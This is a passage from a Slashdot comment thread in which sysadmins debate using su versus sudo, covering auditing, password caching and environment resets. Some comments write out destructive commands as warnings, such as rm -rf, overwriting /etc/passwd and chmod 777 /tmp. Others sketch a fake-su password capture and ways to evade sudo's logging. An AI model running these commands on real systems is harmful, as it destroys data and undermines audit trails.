      What's this 'we'? You obviously haven't been around long enough to be in 'we'.

    24. Re:We don't use sudo? by tsm_sf · · Score: 1

      He makes a pretty good point that going to root forces you to think through your actions. I don't see the same "everything I now do carries a consequence" mentality with frequent users of sudo.

      --
      Literalism isn't a form of humor, it's you being irritating.
    25. Re:We don't use sudo? by seebs · · Score: 1

      Agreed. I found out about sudo, and I fell in love with it. When I started using OS X, I think I still enabled root and used su. By a year or two later I'd converted to sudo.

      --
      My blog: http://www.seebs.net/log/ --- My iPhone/iPad app: http://www.seebs.net/seebsfrac/
    26. Re:We don't use sudo? by rockiams · · Score: 1

      Ok, you win. I am inexperienced and have never had to clean up after other root users.

    27. Re:We don't use sudo? by Anonymous Coward · · Score: 0

      Actually a serious environment separates those duties so that those that know how to do damage can't unless they are working in an ISO environment. I could easily see someone who meets the descriptions in TFA being fired if they acted out on those traits in the way described.

    28. Re:We don't use sudo? by satch89450 · · Score: 1

      Of course, any tool, be it "su(1)" or "sudo(8)" can be used, and it can be abused. Everyone I know who ever runs systems in a serious environment uses multiple less-privileged users to segregate subsystems, so that you can only kill one of them at a time. In my own work, I *never* use sudo from the command line. I do use it in scripts, and I mean scripts written in several languages. I use setuid as seldom as I can, with *lots* of armor around the API to prevent trouble. Indeed, "su -ul " is my most common entry into a production, or development, subsystem. Looking at logs is about the only reason I use root anymore, because that's the default user for /var/log/*...not my call.

    29. Re:We don't use sudo? by thehodapp · · Score: 1

      A long bearded Linux wizard doesn't have sudo installed on his system. Come on.

    30. Re:We don't use sudo? by FoolishOwl · · Score: 1

      Why "sudo -s" instead of "sudo -i"?

    31. Re:We don't use sudo? by Anonymous Coward · · Score: 0

      Contrary to the article's stated rationale, there is a real reason not to use sudo: If you run some malicious code as the wheel user, it can modify the wheel user's environment. Then the sudo command runs in the wheel user's environment with e.g. a malicious $PATH and you go from having a compromised user account to having a compromised system.

      Wouldn't the same be true for su and the root account? Run malicious code as the root user, it can modify the root user's environment. Then you have a compromised system.

    32. Re:We don't use sudo? by FoolishOwl · · Score: 1

      "sudoedit" is underappreciated.

      And yes, it's extra keystrokes, but most of them are on the home row, and it unites two steps, "sudo" and "vim", into one.

      Assuming you've defined EDITOR, of course.

    33. Re:We don't use sudo? by Anonymous Coward · · Score: 0

      in bsd, change suser to always return true

    34. Re:We don't use sudo? by FoolishOwl · · Score: 1

      Thinking out one's actions often involves taking reasonable precautions to minimize the dangers of a mistake.

      You don't just leave the root prompt lying around where someone can spill "rm -rf *" on it.

    35. Re:We don't use sudo? by BancBoy · · Score: 2

      Why "sudo -s" instead of "sudo -i"?

      su su sudio?

      --
      [UID-HeinzIntel]
    36. Re:We don't use sudo? by Anonymous Coward · · Score: 0

      You're wrong, I just rooted your system.

    37. Re:We don't use sudo? by FoolishOwl · · Score: 1

      Su to root, solve the problem, get out. I don't see what isn't methodical about that?

      By using sudo, you get to skip the last step.

    38. Re:We don't use sudo? by thegarbz · · Score: 1

      And yes, it's extra keystrokes, but most of them are on the home row

      By most you mean exactly half?

    39. Re:We don't use sudo? by Anonymous Coward · · Score: 0

      agreed:the article is right. sudo belongs to the likes of ubuntu, and if you have that distro, sorry n00b, nothing for you here, move along.

    40. Re:We don't use sudo? by Anonymous Coward · · Score: 0

      If your admins cant be trusted with root, then get a product called Centrify or the competitor product which can be used to replay each command, which is sent to a centralized server...Or you can install the latest bash and get the same thing but through syslog.

      A real UNIX Guru investigates tools and understands how they keep them compliant without some draconian rules to make their lives more difficult.

      If you cant trust your admins to do their job without fucking up the system, they shouldnt be admins plain and simple.

    41. Re:We don't use sudo? by thegarbz · · Score: 1

      errr less than half. Damn this beer is good. :-)

    42. Re:We don't use sudo? by Anonymous Coward · · Score: 0

      Don't worry, the rest of mock all admins.

      Fucking uppity plumbers.

    43. Re:We don't use sudo? by Culture20 · · Score: 1

      We use sudo to assign specific commands to people. Otherwise, there's not much use (in fact, it prevents one more level of protection for the server; I like having su - require a different password than what I logged on with). Also, if I would ever be forced into using sudo on a regular basis, I'd need to make it always ask for my password. The password caching mechanism catches me off guard occasionally, and I start typing my password on the command line out of habit. Bad UI choice.

    44. Re:We don't use sudo? by FoolishOwl · · Score: 1

      These days, how often is it the case that anyone who isn't an administrator or an admin-in-training is going to use "grep" at a command line?

    45. Re:We don't use sudo? by dAzED1 · · Score: 3, Informative

      bullshite. I've been syadmin for 16 years, you NEVER get on as root unless stuff is seriously broken. if you don't know how to properly use ACLs, SELinux contexts, etc - then you're not a sysadmin, you're a hobbyist. No serious, experienced UNIX admin would spend more than 1% of their time as root.

    46. Re:We don't use sudo? by mysidia · · Score: 5, Informative

      This guy lost me with the first thing on the list. Going directly to root is great - if you're a noob in mom's basement. Nobody who has ever run systems in a serious environment mucks around as root as an alternative to something like sudo.

      Nonsense. Su is much simpler software and much less likely to have security vulnerabilities. Sudo has had many. Allowing the 'sudo' binary to be setuid root in a serious environment is considered a major risk. The 'su' binary is much simpler code, and slapping the setuid bit on it is considered much safer. Well, on BSD 'su' binary is extremely safe. On a GNU/Linux OS, system's setuid su might be linked against a nightmare called GLIBC, but then sudo would be also. Sudo has the issue of 'subtle/sneaky ways around' any configured policies. And sneaky ways to gain sudo permissions not assigned by policy.

      Assigning full Sudo privileges to ANY user is a serious security risk, since you have reduced the number of passwords that must be guessed to gain full root privileges to one password, because sudo requires a password that is the same as the user's login password. The security of requiring knowledge of the user password and separate root password is considered stronger; when you disable root login and require wheel/admin group membership to 'su'. If you assign full sudo privileges to any user then only that user's password is required to gain full root access, which is a reduction in root authentication security strength.

      Also 'idle timeout' for root logins is ineffective when sudo is used. If a third party gained access to any logged in ssh session they can run sudo commands; 'sudo command timeout' can be defeated by merely staying logged in until the legitimate user logs in somewhere else and runs a sudo command; once any legitimate user types the proper sudo password, ALL terminals/remote login sessions under the same username can use any 'sudo' command without a password reprompt, due to the way sudo is designed.

      Su is used in serious environments all the time for the purpose of system maintenance and is considered preferable to sudo for such purpose --- hardly anyone ever even imagined using sudo for that purpose until 5 or 6 years ago. Sudo is a relative newcomer, not installed by default on most systems, and the purpose it was created for is misunderstood if you suggest actual admins use it to perform commands. Sudo is for enabling non-admins to perform some tasks that require UID 0 privileges, under rules established by the system admin; that is the reason the Sudo tool was created, its purpose for existing, and it has nothing to do with the root/sysadmin performing their own duties which actually require root.

      That is 'sudo is for partial roots / guest root users, "guests" who are to temporarily have root access but not be one of the persons entrusted with the root passwords.

      If you don't login to the system to perform administrative tasks, it is better to simply login as a normal user and then 'su' when you need it. That way you have to know two different passwords to do things as root; which is strong security.

      My environment has some critical systems with minimal installs, where sudo isn't even installed and won't be; root filesystem being read-only and requiring signed binaries and all. Sudo not even available for some older OS flavors.

      It's common to have some paths non-root isn't even allowed to CD into; and this is an improvement for security, but of course sudo is useless here: Hint: there is no such thing as 'sudo cd'; if you think otherwise, you need to lookup what the cd command does again.

      The fact of the matter, is, when you are performing system administrative tasks, typing 'sudo' after each command is too cumbersome. Convenience, and speed matter, as they have a direct impact on admin performance and efficiency. Sudo introduces inconveniences that are likely to result in serious system-e

    47. Re:We don't use sudo? by operator_error · · Score: 1

      Well said.

    48. Re:We don't use sudo? by FoolishOwl · · Score: 1

      By which I mean, the only people likely to actually use "grep" at the command line are those who have the option to use elevated privileges, which is part of the reason why there's a point to telling people to remember not to use escalated privileges unnecessarily.

    49. Re:We don't use sudo? by dAzED1 · · Score: 1

      oh, and another thing - you're so darn leet, that you run X as root? You SSH as root? You type the root password in all over the place? youze got the mad skills, lemme tell ya. If you don't know how to set up access controls for everyone, including yourself, then you're crap. Sure, maybe your massive server farm of 5 doesn't need anything other than you as root, but others of us work in farms of thousands of servers, with dozens of people having root access; I suppose your skills are so leet you don't do auditing, either?

    50. Re:We don't use sudo? by visualight · · Score: 1

      One out of 20? What are the other 19?

      Every log, every config, every chmod, damn near every command needs to done as root -I can't even remember clearly the last time I logged into a server and didn't need to immediately sudo su -.

      Not being root implies working within my home directory, and that's why we have workstations -where I might sudo to loop mount an iso or something.

      On a server, what could I possible need to do that doesn't require root?

      --
      Samsung took back my unlocked bootloader because Google wants me to rent movies. They're both evil.
    51. Re:We don't use sudo? by breser · · Score: 1

      What the hell does Canonical have to do with this? It's not like Canonical invented sudo. They are hardly the only OS (Linux distribution or not) that prefers sudo over su.

    52. Re:We don't use sudo? by Anonymous Coward · · Score: 0

      Why don't these super admins use sudo -i.

    53. Re:We don't use sudo? by LordLimecat · · Score: 1

      When all you have is a hammer, every problem looks like a nail.

      Is it possible there are good uses for both su and sudo?

    54. Re:We don't use sudo? by mysidia · · Score: 2

      That is just stupid. System destroying actions are system destroying actions. Sudo or su or runlevel 1, if you are not thinking out your actions, you have no business executing that action. Both commands can get you into the same trouble.

      Even if you do think out your actions, errors are possible. Use of sudo is more error prone as soon as you start keying simple scripts into the shell, because there are actually two shells involved now.. the non-root shell, the sudo command line, and the shell sudo will spawn to process the command requested, which will actually be spawning yet another subshell for each command.

      In terms of typing the commands, this is a metacharacter escaping nightmare.

      You want to run... for i in /root/*.txt ; do file $i ; done

      Oops... sorry... you're going to have to do

      sudo -s for\ i\ in\ \'/root/\*.txt\'\ \;\ do\ file\ \$i\ \;\ done

      And if you miss a single "\"... well, you'll be lucky if it just gets refused by your shell.

      Good luck reading that later, or revising it later

    55. Re:We don't use sudo? by jrumney · · Score: 1

      sudo is for lusers who can't be trusted with full root access, but need to do something that you don't normally let lusers near.

    56. Re:We don't use sudo? by Nigel+Stepp · · Score: 1

      That's funny, using sudo for administration always makes me think of ubuntu, speaking of noobs in the basement.

      Seriously though, I don't like giving a regular/admin user easy access to root like that. If my user password is compromised by some means, the sudo thing means root is also compromised. I'd rather have the authentication and environment separation.

      --
      4096R/EF7BAFA6 79E1 DF98 D09D 898F 9A11 F6F0 DDDC 23FA EF7B AFA6
    57. Re:We don't use sudo? by IICV · · Score: 1

      If you don't know how to use root access in a way that doesn't screw up your box, you don't deserve to have a job as an admin, period. Its not like its easy to bumble around on a command line and screw something up. There's really only one really easy thing to do that will potentially demolish a box and that's rm -rf * in the wrong directory and it is a rare sudoers file indeed that prevents a sysadmin from running 'rm'.

      Uh huh. Okay. How about this?

      rm -rf . /

      Normal user: "Oh shit access denied, ctrl-c ctrl-c"

      Root: "Huh, why is this delete taking so long?"

    58. Re:We don't use sudo? by mysidia · · Score: 1

      I would say if you have something to do that ISN'T root, you sir are teh nub.

      I agree with the first part, but not this.

      If you are not the nub, you drop privileges when you won't need them a while. You setup system services to run as separate non-root users when possible as well.

      On server systems where the only logins are for administrative purposes; the primary risks should be the services running on the system anyways. If that's not true, you did something wrong.

      And the most likely thing you would've done wrong would be to have a weak password, a weak su password, or an account still active that should have been turned off.

      By not using sudo, AND instead using a root password, you can reduce risk from accounts that should have been turned off, through the regular root password changes.

      Every root password change automatically invalidates the access of anyone who is no longer supposed to be root. On the other hand... 'sudo' bypasses root password security, and gets stored in a flatfile database that might not be looked at or audited all that often.

    59. Re:We don't use sudo? by Ungrounded+Lightning · · Score: 1

      This guy lost me with the first thing on the list. Going directly to root is great - if you're a noob in mom's basement. Nobody who has ever run systems in a serious environment mucks around as root as an alternative to something like sudo.

      Wrong-o.

      You work as a user until you have to get into the guts. But then you go to full-bore root because most of what you do there takes more than one command, and qualifying every command breaks your concentration.

      The only thing they got wrong was the solution of changing the root password and using su - from then on. My preference for riding the lightning on a sudo-based configuration (like baseline ubuntu) is the far less intrusive "sudo csh". The more hardcore would probably prefer "sudo bash".

      --
      Bantam Dominique roosters crow a four-note song. Once you've heard it as "Happy BIRTHday" you can't NOT hear it that way
    60. Re:We don't use sudo? by mysidia · · Score: 2

      With sudo you can selective run commands with root privilege.

      You can do that with 'su -c' too, and it's more secure, since you have got to know the root password.

    61. Re:We don't use sudo? by QuantumRiff · · Score: 1

      especially ugly if you have more than one admin for a machine, such as a night crew or something.. In fact, I think it might be against a few rules on accountability for certain situations.. they do not want to hear:
      "Hey guys, who was running as root last thursday at 3pm?"

      --

      What are we going to do tonight Brain?
    62. Re:We don't use sudo? by LingNoi · · Score: 1

      Which is better..

      su root
      apt-get install whatever
      exit

      or simply typing

      sudo apt-get install whatever

      No one is talking about relying only on sudo. It's just another tool you can use to protect yourself. Your response is as dumb as saying seat belts make drivers take more risks.

    63. Re:We don't use sudo? by Anonymous Coward · · Score: 0

      sudo? pfexec!

      Ok, I've worked in a "largish" shop where I was the lead admin, and we used sudo alot. The reason for this is:

      a) auditing helps when you have more than one or two admins -- in a shop with hundreds or thousands of hosts, and a dozen admins, being able to figure out what the dope before you did to break things is useful. (Corollary: everyone who just did sudo su - or sudo was *immediately* suspect.)

      b) I *do* run a lot of stuff in my day job. Not all of it requires root. Not even most of it. I write code, examine logs, even do post mortems on kernel crashes. None of which requires root. (The latter did until I chmod'ed /var/crash to give me read permission! :-) By forcing me to type sudo first, I'm unlikely to screw up and run a command I shouldn't. I *think* (more so than usual) when I type "sudo". Or pfexec. :-)

      c) sudo authentication times out. While sometime a PITA, this means if someone happens to hijack one of my shell logins, they don't get *root* on the system I'm logged into (at least not unless they catch me shortly after I've sudo'ed.) When a few dozen, or even a few hundred at times, login windows, its easy to leave an ssh window logged in somewhere I've forgotten about. Would prefer it not be with a root shell!

      Most of the other points in the article apply, except the "vim" point. "vim" is new-fangled, and hardly universal.

      We used to learn "vi" because it was the only editor that existed everywhere, even *before* vim, or even elvis, existed. I still use vi (the older, "real" vi) constantly. While I'm hacking on kernel code or device drivers, I use "emacs", but unless I've got to look at a few thousand lines of code, its "vi" for me. Real "vi" is the only editor I trust to run as "root", btw -- I would *never* consider running an "emacs" window -- or even a "vim" window -- from a root (or sudo) shell.

    64. Re:We don't use sudo? by offsides · · Score: 1

      If you leave your terminal unlocked with a root shell open, it's your fault when someone hacks it. Sudo caches the fact that you've typed your password, and anyone who knows to type 'rm -rf *' in a root shell probably knows to type 'sudo rm -rf *' as well. The only thing sudo prevents is people who don't know what they're doing from doing something bad by accident, and people who do know what they're doing from doing something important quickly...

    65. Re:We don't use sudo? by 19061969 · · Score: 1

      So there's another sign of a veteran Unix admin: bitching about Canonical (or anything less than 20-30 years old) even when they're nothing to do with the complaint...

      --
      bang goes my karma... again...
    66. Re:We don't use sudo? by mysidia · · Score: 2

      Sudo everything provides an actual audit trail to the actions taken by an admin. which is essential in environments where governance and acountability are required.

      Uhuh.... unless you 'sudo vi /some/file.txt'

      And then realize, while you're editing... hell.. I need to do X other thing...

      So without exiting vi, you enter :!bash

      Do that thing as root, and type exit to return to VI.

      I would say you're wrong... sudo doesn't log everything. Sudo just logs the name of the process started; not actions taken by that process.

      System admins commonly use scripting for many tasks, and sudo does not log when actions are taken from STDIN.

      The only real "logging of admin actions" are facilities such as the kernel auditing daemons. Or actual logs of the terminal session, which are in fact more reliable than some untenable kludge effort to log actions by spawning a sudo process for every command.

      You'll need to rewrite 'sudo' to be THE actual shell (including for scripting purposes) before it can be the least bit effective at that.

    67. Re:We don't use sudo? by otis+wildflower · · Score: 1

      sudo bash

    68. Re:We don't use sudo? by otis+wildflower · · Score: 1

      Real admins don't make mistakes.

      Or, at the very least, they have full backups.

    69. Re:We don't use sudo? by visualight · · Score: 2

      I dare you to list 10 *Administrative* tasks that don't require root privileges.

      Seriously, if you're not starting or stopping a service, editing configs that only root can edit, or reading logs that only root can read -why are you even logged as anything but a user -placing you squarely outside the context of this conversation?

      ACL's and SELinux contexts are not the point, we're not talking about uploading changes to the corporate website. We're talking *specifically* about sudo (root) vs sudo su - (root).

      --
      Samsung took back my unlocked bootloader because Google wants me to rent movies. They're both evil.
    70. Re:We don't use sudo? by mysidia · · Score: 1

      Contrary to the article's stated rationale, there is a real reason not to use sudo: If you run some malicious code as the wheel user, it can modify the wheel user's environment. Then the sudo command runs in the wheel user's environment with e.g. a malicious $PATH and you go from having a compromised user account to having a compromised system.

      Sudo can reset the environment. However, if you have a malicious PATH you have already lost, perhaps. unless you normally type /bin/su to invoke su. Well, you see, a malicious PATH can point you to a fake 'su' or 'sudo' binary that will capture the password as you enter it, and spawn a headless shell to use the captured credentials, become root, slap setuid on the binary

      Defaults env_reset
      Defaults env_keep = "DISPLAY HOSTNAME USERNAME PS1 PS2 MAIL"
      Defaults requiretty

    71. Re:We don't use sudo? by funwithBSD · · Score: 1

      This.

      See trait #4.

      --
      Never answer an anonymous letter. - Yogi Berra
    72. Re:We don't use sudo? by fahrbot-bot · · Score: 1

      Nobody who has ever run systems in a serious environment mucks around as root as an alternative to something like sudo.

      Except, of course, in the time before sudo - you're probably too young to remember. :-)
      Seriously. I was an admin on many production systems (including Cray) w/o sudo. Now, I use both "sudo" and "sudo -i" depending on the task. Oddly, we're actually not allowed to use sudo on some of the government systems I currently help admin - go figure.

      --
      It must have been something you assimilated. . . .
    73. Re:We don't use sudo? by funwithBSD · · Score: 1

      Yeah, except in companies where shared passwords are not allowed, including root.

      --
      Never answer an anonymous letter. - Yogi Berra
    74. Re:We don't use sudo? by grcumb · · Score: 1

      seriously. I guess real old-school UNIX sysadmins just log in as root, or setuid everything. that's the mark of a grizzled old coot that uses logic!

      Or, as in the case of a server I inherited, put everything -data, source code, binaries and scripts- in one user directory, then log in as that user. That way, they don't FUBAR the whole system when they log in, just the stuff that matters.

      --
      Crumb's Corollary: Never bring a knife to a bun fight.
    75. Re:We don't use sudo? by Anthony+Mouse · · Score: 4, Interesting

      Sudo everything provides an actual audit trail to the actions taken by an admin. which is essential in environments where governance and acountability are required.

      Provided you don't trust it to actually do those things. If someone can run 'sudo su -' then they own the system and can make the sudo log files say whatever they want, including removing the fact that they ran 'sudo su -'. Ditto 'sudo emacs', 'sudo dd', 'sudo mv' or any other command that as root will execute subsidiary commands, write specified data to specified files or any various other routes to a root shell. And in most cases you don't even need to muck about modifying logs: Just 'sudo emacs /etc/something/innocuous' and nothing untoward appears in the sudo log but you can run unlogged commands from within emacs, etc.

      sudo can be useful in situations where you have a very limited subset of commands that a user should be able to execute as root and each will run as root without allowing the user to achieve a root shell. The trouble is that most commands that aren't already setuid aren't especially designed that way, so that scenario doesn't happen very often.

      I guess you could say it's useful if you want to have some kind of faith-based auditing mechanism where you assume your sudoers aren't malicious and therefore won't modify the logs or work around the logging. But if you trust your sudoers that much then why do you need to audit them? It smells like a mechanism to provide the appearance of auditing so that someone's PHB can be satisfied that auditing exists, even though you can't really trust the audit log to be complete or correct.

    76. Re:We don't use sudo? by mysidia · · Score: 1

      here's really only one really easy thing to do that will potentially demolish a box and that's rm -rf * in the wrong directory and it is a rare sudoers file indeed that prevents a sysadmin from running 'rm'. You could argue a reboot or shutdown on a box with something like a database might be a problem as well, but after that, you actually need to put some effort in screwing up your host with the other commands.

      Well, there are thousands of ways to really muck up a system.

      Do NOT try these at home

      tee /etc/inittab

      echo newuser:x:1234:1234:New user:/usr/home/newuser:/usr/bin/ftponly > /etc/passwd

      rsync -avl --delete user@buildsystem:/usr/bin/ /usr/

      rm -rf /var /log/debug*

      chmod 777 /tmp

    77. Re:We don't use sudo? by mysidia · · Score: 2

      He makes a pretty good point that going to root forces you to think through your actions. I don't see the same "everything I now do carries a consequence" mentality with frequent users of sudo.

      The problem is we have people casting opinions based on how they think people will act differently while using sudo VS su.

      Possibly cognitively biased due to how the person who has the opinion personally reacts, whether they actually are a sysadmin, and how much they actually use sudo.

      Until someone performs an actual scientific study... claims that people are more careful when using 'SU' or more careful when using 'SUDO' don't hold much water.

      All we can really definitively say is SUDO offers a warning message for first time users, which may have an influence on how cautious first time users are when using root privileges from the CLI.

      I wonder how much effect it has on tinkering behavior... are people who use sudo less likely to tinker with their Linux desktop systems. Possibly this causes them to not become as familiar with Linux as 'SU' users are.

      Possibly tinkerers/hackers just 'sudo su -' anyways

      Sometimes you need to make a mistake to learn most efficiently

    78. Re:We don't use sudo? by grcumb · · Score: 4, Insightful

      On a server, what could I possible need to do that doesn't require root?

      "Man, if you gotta ask, you ain't never gonna know!"

      For my file server 159 out of the last 500 commands featured sudo in them. On my database server, the number is 199.

      On one of my main application servers, the user account for the service itself isn't even in /etc/sudoers. All of the maintenance and administrative tasks are done without resorting to extra permissions.

      --
      Crumb's Corollary: Never bring a knife to a bun fight.
    79. Re:We don't use sudo? by FoolishOwl · · Score: 1

      Doh!

    80. Re:We don't use sudo? by FoolishOwl · · Score: 1

      If you leave your terminal unlocked with a root shell open, it's your fault when someone hacks it.

      True.

      Sudo caches the fact that you've typed your password, and anyone who knows to type 'rm -rf *' in a root shell probably knows to type 'sudo rm -rf *' as well. The only thing sudo prevents is people who don't know what they're doing from doing something bad by accident, and people who do know what they're doing from doing something important quickly...

      You can adjust the duration of the password caching in /etc/sudoers. The default is fifteen minutes -- I prefer a duration of two or three minutes, which is long enough to two a couple of commands in a row. If I actually need more than that, then I'd use sudo -i, but I rarely find that useful.

    81. Re:We don't use sudo? by tokul · · Score: 1

      Sudo logs commands that were run, by whom, and when.

      if you must execute more than one command, you do 'sudo su -' and your sudo logger goes puff.

    82. Re:We don't use sudo? by visualight · · Score: 2, Insightful

      Ok, logging into to a database is *not* being a Unix/Linux Admin, it is managing a database.

      Listen. The people who log in to make changes to the database, and update the website(sorry, application server), are *USERS*, even if some of them are in sudoers, they are not the Admin (who put them in sudoers).

      --
      Samsung took back my unlocked bootloader because Google wants me to rent movies. They're both evil.
    83. Re:We don't use sudo? by Anonymous Coward · · Score: 0

      You know what I'm mocking? Your command of the Queen's English, old boy.

    84. Re:We don't use sudo? by Anthony+Mouse · · Score: 1

      Wouldn't the same be true for su and the root account? Run malicious code as the root user, it can modify the root user's environment. Then you have a compromised system.

      Sure, if you run malicious code as root you're screwed. But presumably you aren't e.g. browsing the web and running the perpetually-vulnerable Flash Player as root.

    85. Re:We don't use sudo? by squallstrifeau · · Score: 1

      By using sudo, you get to skip the last step.

      Except that you have to type sudo for every command. "su" is half as many letters, one time, for an unlimited number of differing commands.

      What the hell does Canonical have to do with this? It's not like Canonical invented sudo.

      No, Canonical didn't invent sudo, I didn't claim that. I know sudo has been around the traps for a long time, I'm talking more about the mindset surrounding its use.

      Canonical are arguably responsible for bringing Linux to "the masses" so to speak. I think Ubuntu made sudo popular. I can honestly say I never used sudo until I first mucked around with Ubuntu. It is my impression that Ubuntu popularised sudo, or at the very least, popularised it as "best practice" or "the right thing to do".

      So there's another sign of a veteran Unix admin: bitching about Canonical (or anything less than 20-30 years old) even when they're nothing to do with the complaint...

      That's your opinion and that's OK, my opinion is that the idea of "sudo as best practice" is a recent thing; a symptom, if you will, of the popularity of Ubuntu.

    86. Re:We don't use sudo? by asdfghjklqwertyuiop · · Score: 1

      sudo can add convenience in that it can optionally remember your authentication (or not require it at all) so you don't have to re-type a password every time you acquire a root shell with 'sudo -s'.

    87. Re:We don't use sudo? by sjames · · Score: 1

      sudo /bin/bash FTW

    88. Re:We don't use sudo? by drsmithy · · Score: 2

      Your shell, however, is yours and yours alone for the lifetime of the process. If you don't trust yourself not to type something stupid, you shouldn't be working as an administrator. Period. Sudo was never intended to function as training wheels. To imply its necessity is to claim you, the junior admin, knows better than the senior admin. When you've done your trench time, you too will trust yourself.

      You, like most others in this discussion and TFA's author, do not understand what sudo is for.

      Sudo is not there to help sysadmins avoid foot-shooting. That is merely a useful, but relatively insignificant, fringe benefit.

      The point of sudo is to allow secure separation of duties and some semblence of an audit trail.

    89. Re:We don't use sudo? by Anonymous Coward · · Score: 0

      This guy lost me with the first thing on the list. Going directly to root is great - if you're a noob in mom's basement. Nobody who has ever run systems in a serious environment mucks around as root as an alternative to something like sudo.

      Yeah, you're wrong. I've always administered my systems as root. My normal use of sudo is sudo -i, and that's it.

      My job requires me to work as root on a regular basis. I've been doing this kind of work for a very long time, and I've learned to be very careful with what I type and actually press enter to.

      sudo is useful for the one or two people that may need to pretend their root for a few commands. I, however, *am* root. I'm not an end user, I'm the guy who keeps the system running for other people's benefit. I am much more comfortable, and completely confident in my abilities, that I do not find working as root to be a scary thing. Since my employers continue to pay me absurdly large amounts of money for my skillset, I think I'll continue to do what works for me.

    90. Re:We don't use sudo? by scheme · · Score: 1

      If you don't know how to use root access in a way that doesn't screw up your box, you don't deserve to have a job as an admin, period. Its not like its easy to bumble around on a command line and screw something up. There's really only one really easy thing to do that will potentially demolish a box and that's rm -rf * in the wrong directory and it is a rare sudoers file indeed that prevents a sysadmin from running 'rm'.

      Uh huh. Okay. How about this?

      rm -rf . /

      Normal user: "Oh shit access denied, ctrl-c ctrl-c"

      Root: "Huh, why is this delete taking so long?"

      Don't forget the ever popular chown -R foo:bar . in the wrong directory.

      --
      "When you sit with a nice girl for two hours, it seems like two minutes. When you sit on a hot stove for two minutes, it
    91. Re:We don't use sudo? by Anthony+Mouse · · Score: 1

      Sudo can reset the environment.

      Doing that helps, but it doesn't eliminate the entire class of vulnerabilities. Try running "/usr/bin/sudo echo $USER" with env_reset turned on. You get the wheel user rather than root because the user's shell expands the variable before sudo resets the environment.

    92. Re:We don't use sudo? by drsmithy · · Score: 1

      I happen to have run systems in a serious environment, and we never used sudo.

      So your "serious environment" lacks separation of duties and audit trails ?

    93. Re:We don't use sudo? by drsmithy · · Score: 3, Insightful

      Provided you don't trust it to actually do those things. If someone can run 'sudo su -' then they own the system and can make the sudo log files say whatever they want, including removing the fact that they ran 'sudo su -'. Ditto 'sudo emacs', 'sudo dd', 'sudo mv' or any other command that as root will execute subsidiary commands, write specified data to specified files or any various other routes to a root shell. And in most cases you don't even need to muck about modifying logs: Just 'sudo emacs /etc/something/innocuous' and nothing untoward appears in the sudo log but you can run unlogged commands from within emacs, etc.

      Yes. This is why you disable all those backdoors and only specify particular commands that can be run in /etc/sudoers, with others either denied, or lighting up your IDS/system monitoring like a Christmas tree.

      (This also serves as a handy reminder that properly securing systems is *extremely difficult*.)

    94. Re:We don't use sudo? by inKubus · · Score: 2

      You sir, are full of shit. Sudo IS ROOT. Repeat after me a second time, sudo IS ROOT. It's just annoying root. If users need root to do their mundane work--which is what sudo is for--there's something wrong that needs to be handled by code.

      As far as slipping up, uh, what are you going to screw up? I mean, all your configs are version controlled in CFEngine/svn/cvs right? And you have an extensive library of base system images right? You have a bootstrapper right? And your data is on external snapshotted storage right? And you have backups right?

      Surely you do a double take on each rm -f, that's about the only one you have to think about. And sudo is not going to save your ass in that scenario anyway, unless you have rm turned off, which....what would be the point of that? Compared with a database where you can just drop all; bye, replicate to the peers, I'd say you're pretty paranoid and frightened little bunny and probably don't really understand your system enough to rebuild it from the ground up (which is the worst case) (rm -rf /). When you do have that understanding and the ability to rebuild very quickly (a fully running production environment), as all good admins do, then you have the confidence to run around as root and actually get stuff done. In fact, I recommend rebuilding as much as you can until you can do it in minutes. Because "serious environments" don't have lots of crufty hacks and unauditable implementations and changes. They have testable, provable, deployable configurations. See ya, wouldn't want to be ya! ;)

      --
      Cool! Amazing Toys.
    95. Re:We don't use sudo? by Randle_Revar · · Score: 1

      env_reset
                                  If set, sudo will reset the environment to only contain the LOGNAME, MAIL, SHELL, USER, USERNAME and the SUDO_* variables. Any
                                  variables in the caller's environment that match the env_keep and env_check lists are then added. The default contents of the
                                  env_keep and env_check lists are displayed when sudo is run by root with the -V option. If the secure_path option is set, its value
                                  will be used for the PATH environment variable. This flag is on by default.

    96. Re:We don't use sudo? by Randle_Revar · · Score: 1

      remind me never to hire you

    97. Re:We don't use sudo? by Anonymous Coward · · Score: 0

      And you completely invalidated your argument in your last line. I've worked many years as a programmer, and I can assure you that nobody is perfect.

    98. Re:We don't use sudo? by terremoto · · Score: 1

      like using vi to look at a config file you have no intention of editing

      For that we use view of course.

      And :w! if we change our mind.

    99. Re:We don't use sudo? by zill · · Score: 1

      I think GP was suggesting running shell as root on a permanent basis.

    100. Re:We don't use sudo? by FlyingBishop · · Score: 1

      ls, cat, grep, sed, free, etc.

      If you're not using these 3 times as much as you're doing active things, I don't know how you know what's going on.

      Sure, you occasionally run into the odd file that's only readable to root, but mostly you can see things well enough without touching anything before you decide what needs to be done. Then you say sudo just so you're clear about what you're doing.

    101. Re:We don't use sudo? by LingNoi · · Score: 1

      The GGP was just being a douchbag..

      You're wrong, the article is right.

      It's elitist bullshit simply because sudo is newer then logging into root and the GGP doesn't like change.

    102. Re:We don't use sudo? by Zenin · · Score: 1

      When your service account has complete access to do anything with that service, it's effectively "root". So much is offloaded to services at this point the "real" host system is barely touched for anything, thus little need for "real" root. You can feel macho for schooling people about using sudo for root, but you're still a fool.

      If you've offloaded all the important bits to a service account, you haven't accomplished much but changing the effective name of the "root" user. Most all the power and just as much ability to effectively wreck havoc is now in the hands of the "service account".

      The host is irrelevant, thus root is irrelevant. Service accounts are the new root.

      --
      My /. uid is better then your /. uid
    103. Re:We don't use sudo? by Anonymous Coward · · Score: 0

      Um, or you could quote the string and only have to escape the $ character (assuming bash).

    104. Re:We don't use sudo? by stjobe · · Score: 1

      Or, you could just use sudo -s 'for i in /root/*txt; do file $i; done' and skip all the backslashes.

      But even so, I agree with the article that sudo is a crutch for lazy admins. You should be in a non-root shell for all actions that don't require root access, and su - to a root shell for those that do - and when you're done, exit the root shell. Do no leave it open.

      But then again, I smiled with recognition at all nine points in the article...

      --
      "Total destruction the only solution" - Bob Marley
    105. Re:We don't use sudo? by stjobe · · Score: 2

      Su to root, solve the problem, get out. I don't see what isn't methodical about that?

      By using sudo, you get to skip the last step.

      Only if your solution to the problem only involves one command. Which, in my experience it seldom does.
      Sudo is a crutch for home-users who don't trust themselves to remember if they're in a root shell or not. "Real Unix Admins" don't have that problem and don't need sudo.

      --
      "Total destruction the only solution" - Bob Marley
    106. Re:We don't use sudo? by stjobe · · Score: 1

      Ok, logging into to a database is *not* being a Unix/Linux Admin, it is managing a database.

      Listen. The people who log in to make changes to the database, and update the website(sorry, application server), are *USERS*, even if some of them are in sudoers, they are not the Admin (who put them in sudoers).

